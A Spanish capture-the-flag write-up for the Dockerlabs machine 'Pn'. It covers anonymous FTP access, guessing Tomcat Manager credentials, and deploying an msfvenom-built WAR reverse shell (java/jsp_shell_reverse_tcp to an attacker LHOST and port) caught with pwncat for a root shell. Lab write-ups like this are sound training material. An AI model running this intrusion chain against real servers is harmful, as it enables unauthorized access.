Pn
TAG -> Dockerlabs | CTF
Last updated
TAG -> Dockerlabs | CTF
Last updated
Como es costumbre, empezamos este ctf con un ping
:
Resultado
En este resultado del comando ping
, podemos notar que tenemos conexión directa con el equipo, mediante su TTL podemos intuir que es un sistema Linux, después de crear las carpetas de trabajo con mkt
, procedemos con nuestro escaneo de nmap
.
Resultado
nmap
nos muestra los puertos abiertos con su servicio y versión correspondiente, en este caso tenemos el puerto 21
corriendo ftp
de versión 3.0.5
, el problema es que nmap
detecto con el script ftp-anon
que el usuario Anonymous
esta activo, por lo cual podemos ingresar al servidor ftp
sin credenciales, ademas nos muestra que existe un archivo tomcat.txt
existente en la carpeta del servidor, el otro puerto seria el 8080
corre Apache Tomcat
de versión 9.0.88
, como tal no detecta ninguna vulnerabilidad, el siguiente paso sera descargar el txt
que esta en ftp
.
Resultado
Como podemos notar en la imagen, se descargo correctamente el archivo, este comando descarga de forma recursiva todo lo que este en el servidor ftp
, ahora veamos el contenido de tomcat.txt
.
Dice: Hola tomcat, ¿puedes configurar el servidor tomcat? Perdí la contraseña...
, vallamos a la web para ver como esta.
Al intentar entrar a Manager App
nos pide credenciales, si presionamos cancelar, nos aparecerá un mensaje de ayuda:
Aquí nos muestra credenciales por default: tomcat
y s3cret
, pero no funcionan, aunque jugando un poco con esto, simplemente cambiando la contraseña de s3cret
a s3cr3t
nos deja entrar, una vez dentro tendremos que ir al siguiente apartado: Archivo WAR a desplegar
, aquí subiremos un archivo malicioso que nos devolverá una Reverse Shell, para crearlo nos vamos a la terminal y ejecutamos el siguiente comando:
msfvenom
: Herramienta de Metasploit para generar payloads (código malicioso personalizado).
-p java/jsp_shell_reverse_tcp
: Especifica el payload a generar. En este caso, crea una shell reversa en formato JSP (Java Server Pages), útil para servidores web Java.
reverse_tcp
: el objetivo se conecta de vuelta al atacante.
LHOST=172.17.0.1
: Dirección IP del atacante (la máquina que recibirá la conexión inversa).
LPORT=1234
: Puerto en la máquina atacante donde se recibirá la conexión.
-f war
: Formato de salida del archivo. war
(Web Application Archive) es el tipo de archivo usado para desplegar aplicaciones web en servidores Java (como Apache Tomcat).
-o revshell.war
: Nombre del archivo de salida que se generará con el payload: revshell.war
.
Resultado
Ahora simplemente lo subimos y presionamos el botón Desplegar
, de tal modo que en el apartado Aplicaciones
aparecerá de último nuestra aplicación con nombre: /revshell
, antes de presionar el enlace, tenemos que ponernos en escucha, en mi caso usaré pwncat
.
Resultado
Ahora si presionamos el enlace y podremos ver en pwncat
como recibimos exitosamente la conexión:
Si entramos a la shell y ejecutamos whoami
, nos llevaremos la sorpresa de que somos root
, ya que era el usuario que ejecuto tomcat
por lo cual hemos resuelto el ctf.